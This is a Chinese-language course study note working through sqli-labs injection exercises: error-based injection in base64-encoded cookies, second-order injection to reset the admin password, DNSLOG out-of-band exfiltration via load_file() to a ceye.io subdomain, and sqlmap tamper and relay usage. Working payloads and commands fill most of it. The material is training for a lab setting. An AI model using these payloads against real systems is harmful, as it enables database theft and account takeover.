2021-11-13加解密,二次,load_file&dnslog等
小迪v17
加解密
sqlilabs-page2-less21
可以看到对 cookie 进行了 base64 的处理
使用报错注入
')union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2))x from information_schema.tables group by x#
进行base64加密
二次注入
sqli-less-24 二次注入
已知存在用户 admin
(线上靶场当然不知道),
注册代码似乎对注册用户和密码 特殊字符转义
注册使用 admin'#
,修改密码UPDATE。这里引号闭合,所以修改的就是admin
的密码。
在修改密码代码里没有对username 特殊符号转义
可以登录admin
load_file&dnslog带外注入
需要高权限进行文件读写操作,有不能回显的情况
参考: https://www.cnblogs.com/-qing-/p/10623583.html
https://blog.csdn.net/he_han_san/article/details/90108106
可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。
平台:ceye,io
CEYE.IO平台,它通过自己的 DNS 服务器和 HTTP 服务器监控 DNS 查询和 HTTP 请求,Dnslog就是存储在DNS Server上的域名信息
它会给我们一个三级域名,访问会被记录。
select load_file('\\\\查询语句.xxxx.ceye.io\\aaa')
比如查询版本:(select version())
select load_file('\\\\(select version()) .xxxx.ceye.io\\aaa')
如果load_file报错,因为在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,不能加载文件
show variables like '%secure%'; #查看secure_file_priv
通过设置my.ini
添加
[mysqld]
secure_file_priv=""
#可以load_flie任意磁盘的文件。
#重启
select * from users where id=1 and if((select load_file(concat('',(select version()),'.xxxxx.ceye.io//abc'))),0,1);
重新试一下可以看到记录,显示了版本号。
https://www.cnblogs.com/-qing-/p/10623583.html
这里使用concat函数将(select database())得到的内容作为查询url的一部分,和我们的平台三级域名拼接组合成一个四级域名,而load_file函数会通过dns解析请求,所以我们在dnslog平台就可以看到查询的记录(包含着我们注入出的数据)
使用工具DnslogSqlinj(需要python2环境)
打开 config文件配置地址和api
这里记录下 配置python2的心酸
电脑因为python2 和python3共存导致很多问题
1.首先升级python2 的pip的版本,这里要先下载
pip(10.0.1),然后再在线升级。
https://blog.csdn.net/qq_32670879/article/details/80654694
python2 -m pip install xxxx #安装模块
按照提示一路安装缺失的模块
最后
sqli Less-9
题目基于时间的GET单引号盲注,无论输入什么都返回一样,这里需要我们使用延时函数来来判断语句是否执行。节省时间使用工具DnslogSqlinj。
工具给了格式命令
自己根据现实情况来判断 是否有’ --+
获取当前用户和数据库
输入: -u "http://127.0.0.1/sqlilabs/Less-9/?id=1' and ({})--+"
获取所有数据库
输入: -u "http://127.0.0.1/sqlilabs/Less-9/?id=1' and ({})--+"--dbs
…
sqlmap 加密 中转注入
sqlmap目录结构:https://blog.csdn.net/qq_21500173/article/details/53648696
使用: https://blog.csdn.net/smli_ng/article/details/106026901
https://blog.csdn.net/weixin_46709219/article/details/109672641
sqlmap tamper引用插件
找到一个base64加密的 id=1 ,可以直接使用插件base64encode.py
sqlmap -u http://xxxx.com/xxx.php?id=MQ== --tamper base64encode.py –dbs
这里跟着老师学习写一个脚本加密注入点, 可以看到提交get请求x被加密拼接到了url中
<?php
$url = "http://www.xxxxx/xxxxx.php?ID=";
$payload = base64_encode($_GET['x']);
$urls = $url.$payload;
file_get_contents($urls);
echo $urls;
?>
使用sqlmap 来测试注入点x
python sqlmap.py -u "http://127.0.0.1/base64id.php?x=" -v 3